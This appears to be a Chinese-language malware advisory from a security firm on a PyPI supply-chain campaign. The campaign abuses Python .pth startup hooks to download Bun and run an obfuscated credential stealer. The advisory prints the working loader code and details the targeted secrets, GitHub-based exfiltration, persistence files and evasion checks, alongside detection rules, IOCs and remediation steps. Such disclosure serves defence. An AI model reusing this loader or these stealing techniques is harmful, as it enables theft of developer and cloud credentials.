Shai-Hulud 降临冥界:Miasma 蠕虫攻击活动以新的 PyPI 浪潮扩散
Socket 发现 37 个恶意 PyPI wheel 文件,它们滥用 Python 启动钩子来启动由 Bun 驱动的凭据窃取器,该窃取器与 Mini Shai-Hulud/Miasma 相关。
Socket 检测到一次协调性的 PyPI 攻击活动,涉及 37 个跨 19 个软件包的恶意 wheel 文件。这些被攻陷的版本包含一个 *-setup.pth 文件,该文件试图在 Python 启动时自动执行,下载 Bun JavaScript 运行时,并运行一个名为 _index.js 的混淆 JavaScript 有效载荷。
Socket 的人工智能恶意软件检测系统在软件包发布几分钟后即识别出了这个恶意软件包集群。该攻击是跨运行时的,其技术手法无疑是 Shai-Hulud/Miasma 的风格。Python 软件包提供了传递载体,但有效载荷以高度混淆的 JavaScript 窃密程序的形式在 Bun 下运行。Bun 依赖项是该家族的一个关键特征:Shai-Hulud 风格的攻击并不假设 Node.js、Python 或其他本地运行时可用。相反,它们会下载并安装 Bun,然后将其用作执行引擎。这种行为甚至在 npm 攻击中也有出现,尽管 Node.js 本应是预期的运行时。
对 _index.js 进行静态去混淆的结果与我们在此血脉相关的被攻陷 npm 软件包中所见的相吻合:字符码和类 ROT 风格的 eval 包装器、AES-GCM 加密阶段、轮换字符串表、自定义字符串解码器,以及嵌入的 AES/gzip 保护字符串。一旦解包,有效载荷会针对与 Mini Shai-Hulud 和 Miasma 浪潮中相同的高价值开发者和 CI/CD 密钥类别,包括 GitHub、npm、PyPI、RubyGems、JFrog、CircleCI、Anthropic、AWS、GCP、Azure、Kubernetes、Vault、SSH 密钥、Docker 配置、shell 历史记录、.env 文件、.npmrc、.pypirc、Claude/MCP 配置,以及其他本地或运行器可访问的凭据。
攻击活动标记发生了变化。早期的报告将 Red Hat Cloud Services 浪潮与 Zelda 主题的有效载荷标记 Miasma: The Spreading Blight 关联起来,而其他 Shai-Hulud 相关活动使用了不同的主题标记。Shai-Hulud 关联首先由事件响应者 boredchilada 在 Bluesky 上向 Socket 标记的,在软件包上线后不久;对 _index.js 的去混淆证实了这一点,不过带有新的主题。这次有效载荷没有使用 Zelda 引用,而是使用了冥界主题的 GitHub 窃密标记,包括仓库描述 Hades - The End for the Damned 和生成的仓库名组件,如 stygian、tartarean、cerberus、charon、styx、lethe、thanatos 和 persephone。
这使得 Hades 最好被理解为同一个 Mini Shai-Hulud/Miasma 血脉的 PyPI 分支,而不是一个独立的 Python 恶意软件事件。其核心策略保持不变:滥用可信的软件包渠道、在正常软件包使用前执行、分阶段部署 Bun 驱动的 JavaScript 有效载荷、窃取开发者和 CI/CD 凭据,并使用以 GitHub 为中心的窃密和传播逻辑。发生变化的是生态系统特定的触发器:这一波攻击使用 Python *-setup.pth 启动执行,而不是 npm preinstall 或其他 npm 安装时路径。
这些 PyPI 软件包是该活动在最近几天内快速跨开源生态系统传播的最新分支。Socket 目前正在跟踪跨 npm 和 PyPI 的 448 个受影响构件,包括跨 106 个软件包的 411 个 npm构件和跨 19 个项目的 37 个恶意 PyPI wheel 文件。在撰写本文时,PyPI 已经隔离了部分受影响版本;我们将剩余版本报告给了 PyPI 安全团队。我们正在专用页面上跟踪完整活动,所有已识别的受影响构件都会被添加: https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack
受影响的 PyPI 软件包
这 37 个被攻陷构件横跨 19 个 PyPI 软件包,看似来自单个维护者账户的接管。连续补丁版本被批量发布到作者的全部作品集中。风险集中在几个成熟的生物信息学工具上:dynamo-release(aristoteleo/dynamo 单细胞 RNA 速度和表达动力学框架)及其空间转录组同类 spateo-release、coolbox(GangCaoLab 基于 Jupyter 的多组学基因组可视化工具包,用于 Hi-C/ChIP-Seq/RNA-Seq 轨道),以及深度学习 FISH 点检测工具 ufish / napari-ufish。这些是真实且广泛使用的社区研究工具,累计下载总量在数十万到近百万之间;它们占 aggregate 安装基数的大部分。其余的是低流量的 agent/task 执行、函数描述和实验室工具库——在同一次爆炸中被波及的小型足迹,而非独立有价值的目标。
恶意 wheel 文件包含的内容
Socket 观察到的恶意 wheel 文件模式简单且高度可疑:
<package>/
...
_index.js
*-setup.pth*-setup.pth 文件包含一行可执行的 Python 代码。Python 的 site 模块在解释器启动期间处理 .pth 文件;以 import 开头后跟空格或制表符的行会被执行。这为攻击者提供了一种在安装后自动启动执行的原语,无需受害者导入被攻陷的软件包。
加载器试图:
- 在
tempfile.gettempdir()/.bun_ran创建哨兵文件; - 定位软件包旁边或下一级子目录中的
_index.js; - 如果临时目录下不存在缓存的 Bun 二进制文件,则从 GitHub 下载 Bun
v1.3.13; - 运行
bun run _index.js; - 写入哨兵文件以避免重复执行。
加载器的规范化版本:
import glob
import os
import platform
import subprocess
import sys
import tempfile
import urllib.request
import zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
base = os.path.dirname(__file__)
payload = os.path.join(base, "_index.js")
if not os.path.exists(payload):
candidates = glob.glob(os.path.join(base, "*", "_index.js"))
payload = candidates[0] if candidates else ""
is_windows = os.name == "nt"
bun = os.path.join(tempfile.gettempdir(), "b", "bun" + (".exe" if is_windows else ""))
if not os.path.exists(bun):
arch = "aarch64" if platform.machine() == "arm64" else "x64"
os_name = {"linux": "linux", "darwin": "darwin", "win32": "windows"}.get(sys.platform, "linux")
zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
urllib.request.urlretrieve(
f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
zip_path,
)
zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
os.chmod(bun, 0o775)
os.unlink(zip_path)
subprocess.run([bun, "run", payload], check=False)
open(sentinel, "w").close()实施说明
防御者应验证每个构件的可利用性。在标准 CPython 中,可执行的 .pth 行由 site 模块执行,而 __file__ 可能解析为 site.py 而不是 .pth 文件。在本地 CPython 复现中,这个确切的加载器形状不会通过 os.path.dirname(__file__) 自动解析相邻的软件包 _index.js。该构件仍然是恶意的:它携带了凭据窃取器并试图通过 Python 启动钩子引导 Bun。
为什么 .pth 很危险
该攻击滥用了一个合法的 Python 启动功能。.pth 文件被设计用来向 sys.path 添加路径并支持导入钩子。但 Python 明确支持以 import 开头的可执行行。这些行在每次 Python 启动时都会运行,无论相应软件包是否被导入。
这意味着一个被攻陷的 wheel 可以将一个本来被动的依赖安装变成延迟执行触发器:下一个 python、pip、测试运行、notebook 内核、CI 作业或软件包管理命令只要启动 Python,就可能处理恶意的 .pth。
这是 Shai-Hulud 和 Miasma 反复利用的 npm install-hook 问题的 Python 等价物。语法不同,但安全后果相同:依赖安装创建了一个在应用程序代码被审查或调用之前的执行边缘。
有效载荷去混淆
对 _index.js 进行静态去混淆恢复了多个层次:
- 外部 JavaScript 包装器
一个 try { eval(...) } 包装器解码一个大型字符码数组并应用类 ROT 的字母表替换。
- AES-GCM 加载器
解码后的第一阶段导入 node:crypto,解密两个嵌入的 AES-128-GCM blob,将主有效载荷写入随机 /tmp/p*.js,并用 Bun 运行它。
- Bun 引导程序
解密的引导程序从 https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/ 下载 Bun。
- 主 JavaScript 有效载荷
主有效载荷使用轮换字符串表、基于 PBKDF2/SHA256 的自定义字符串解码器,以及额外的 AES-256-GCM + gzip 字符串层。
提交的 _index.js 样本以 try{eval(...)} 包装器和长字符码数组开头,与静态分析期间恢复的混淆第一阶段相匹配。
功能
恢复的有效载荷是一个广泛的开发者和云凭据窃取器。它针对:
- GitHub 凭据、GitHub Actions 运行器密钥、运行器内存和
ghs_*令牌。 - npm、PyPI、RubyGems、JFrog、CircleCI、Anthropic 和软件包发布令牌。
- AWS 凭据、STS 身份、SSM 参数存储和 Secrets Manager。
- GCP 身份、项目和 Secret Manager。
- Azure 身份和 Key Vault 材料。
- Kubernetes 服务账户令牌和集群密钥。
- Vault 令牌和 Vault 密钥。
.env、.npmrc、.pypirc、Git 凭据、shell 历史记录、SSH 密钥、Docker 配置、云 CLI 缓存、Claude/MCP 配置、钱包/应用程序数据,以及其他开发人员机器密钥。
此目标列表与 Shai-Hulud/Miasma 操作模式紧密匹配:窃取可用于解锁软件包发布、源代码控制、云基础设施和 CI/CD 管道的凭据,然后利用该访问权限深化或传播攻陷。
窃密
有效载荷包含多个窃密路径。
直接 HTTPS 窃密
有效载荷包含配置为以下内容的直接 HTTPS 发送器:
api.anthropic.com
/v1/api
443这是 Anthropic 的真实 API 主机。对 GET 和 POST 向 https://api.anthropic.com/v1/api 的请求都返回 Anthropic 的标准 404 not_found_error,确认 /v1/api 不是活动路由。因此,此通道无法向攻击者传送数据,且没有迹象表明 Anthropic 系统被攻陷。我们评估其目的是作为网络日志伪装:到普遍存在的 AI 供应商主机的流量融入其中,难以全面阻止,而 GitHub 仍然是该家族的确认窃密通道。
GitHub 仓库窃密
有效载荷可以使用 POST /user/repos 创建公共仓库,然后在如下路径下提交加密/压缩的结果信封:
results/results-<timestamp>-<counter>.json恢复的标记包括:
Repository description: Hades - The End for the Damned
Commit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFullyGitHub Actions 工件窃密
嵌入式工作流逻辑将 GitHub Actions 密钥写入:
format-results.txt并上传名为:
format-results的工作流名称:
Run Copilot规避和环境检查
有效载荷包含对俄罗斯语言环境/环境信号和 StepSecurity/harden-runner 指示器的检查。它还包括覆盖 GitHub、npm、Anthropic、CircleCI 和 AWS 风格密钥的诱饵令牌前缀检查。
这是与更广泛的 Shai-Hulud 家族的另一个连续性点:攻击者或复制工具并不只是在获取环境变量;它试图识别被检测的环境,避免某些诱饵,并聚焦于高价值凭据材料。
持久性和后续构件
恢复的持久性/后续指示器包括:
gh-token-monitor
GitHub Commit Monitor
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
~/.local/share/updater/update.py
.claude/setup.mjs
.github/setup.js
.github/workflows/codeql.ymlClaude/MCP 和 GitHub 工作流构件在更广泛的背景下尤其重要。最近的类 Shai-Hulud 活动已经超越了软件包管理器钩子,进入 AI 开发者工具链、MCP 配置、IDE/编辑器钩子和工作流级持久性。这个 PyPI 浪潮不仅应作为软件包攻陷事件进行调查,还应作为可能进入开发者自动化和 AI 辅助编码环境的入口点。
检测机会
软件包级静态检测
高置信度静态检测应针对包含以下内容的任何 PyPI wheel 文件发出警报:
.pth executable import line
remote runtime or executable download
tempdir binary install
subprocess execution
_index.js or JavaScript payload handoff来自此波攻击的特定字符串:
.bun_ran
_index.js
oven-sh/bun/releases/download
bun-v1.3.13
urllib.request
urlretrieve
subprocess
tempfile.gettempdir
bun run
exec(通用规则不应依赖于确切的 Bun 版本。该家族可以轻松地将 bun-v1.3.13 更改为另一个版本,重命名哨兵文件,或将 _index.js 交换为另一个文件名。更强的行为链是可执行的 .pth 加上网络检索加上子进程执行加上分阶段 JavaScript 有效载荷。
运行时检测
运行时指示器包括:
python -> bun
python -> network request to github.com/oven-sh/bun/releases/download/
python -> writes tempdir/b.zip
python -> writes tempdir/b/bun or tempdir/b/bun.exe
bun -> runs _index.js
bun or node-like runtime -> outbound HTTPS to api.anthropic.com/v1/api文件系统指示器:
/tmp/.bun_ran
%TEMP%\\.bun_ran
/tmp/b.zip
%TEMP%\\b.zip
/tmp/b/bun
%TEMP%\\b\\bun.exe
_index.js inside site-packages or package subdirectories
*-setup.pth inside site-packagesGitHub 和 CI 指示器:
Repository description: Hades - The End for the Damned
Commit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully
Workflow name: Run Copilot
Artifact name: format-results
Path pattern: results/results-*.json
Unexpected .github/workflows/codeql.yml changesHades 为 PyPI 改编了 Miasma 技术手法
Hades PyPI 集群展示了 Mini Shai-Hulud 风格的技术手法如何继续分裂为特定于生态系统的分支。与早期的 Mini Shai-Hulud 浪潮不同,后者通过相关攻陷链从 PyPI 转移到 npm 然后到 Packagist,这次浪潮以一组单独的恶意 Python wheel 文件为中心。重叠在于技术:Miasma Red Hat 浪潮展示了对合法可信命名空间的滥用、伪造的溯源、Bun 分阶段部署、云身份盗窃和 CI/CD 传播。
对于防御者来说,教训是安装时和启动时代码执行应该被视为跨生态系统的首要供应链风险:
- npm:
preinstall、install、postinstall、原生构建脚本、node-gyp间接调用。 - PyPI:
.pth可执行行、导入时代码、setup/build 钩子、console-script 包装器、依赖混淆、恶意 wheel 文件。 - Packagist:Composer 插件和脚本。
- GitHub:Actions 工作流注入、工件、仓库窃密和令牌传播。
- AI 开发者工具:Claude/MCP 配置投毒、编辑器钩子、agent 内存/上下文滥用和 LLM API 令牌收集。
建议的响应
安装了任何受影响版本的企业应删除或固定避开恶意版本,并在可能的情况下重建受影响的环境,并轮换可供受影响开发者机器或 CI 作业访问的凭据。
优先轮换和审查以下内容:
- GitHub 个人访问令牌、GitHub App 令牌、GitHub Actions 密钥和仓库部署密钥。
- PyPI、npm、RubyGems、JFrog 和其他软件包发布令牌。
- AWS、GCP、Azure、Kubernetes 和 Vault 凭据。
- SSH 密钥、Docker 凭据、Git 凭据助手、云 CLI 配置文件和 shell 历史记录密钥。
- Anthropic、CircleCI、Claude/MCP 和其他开发者工具令牌。
在本地系统、CI 工作器和 GitHub 组织中搜索上述指示器。将使用恢复的 Hades 标记创建的任何 GitHub 仓库、任何格式结果工件或任何名为 Run Copilot 的可疑工作流视为可能的窃密工件。
妥协指标 (IOC)
恶意 PyPI 工件
[email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected]
哈希值
_index.js SHA256 哈希值
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe(变体 1,4.8 MB,17 个软件包)e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d(变体 2,4.7 MB,2 个软件包)
*-setup.pth SHA256 哈希值(所有受影响构件相同):
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
文件
*-setup.pth_index.js
加载器字符串
.bun_ranbun-v1.3.13oven-sh/bun/releases/downloadurllib.requesturlretrievetempfile.gettempdirsubprocess.run
网络
hxxps://api[.]anthropic[.]com/v1/api- 被滥用作伪装窃密目的地的合法 Anthropic API 主机
GitHub 窃密标记
Hades - The End for the DamnedIfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFullyresults/results-*.jsonformat-resultsRun Copilot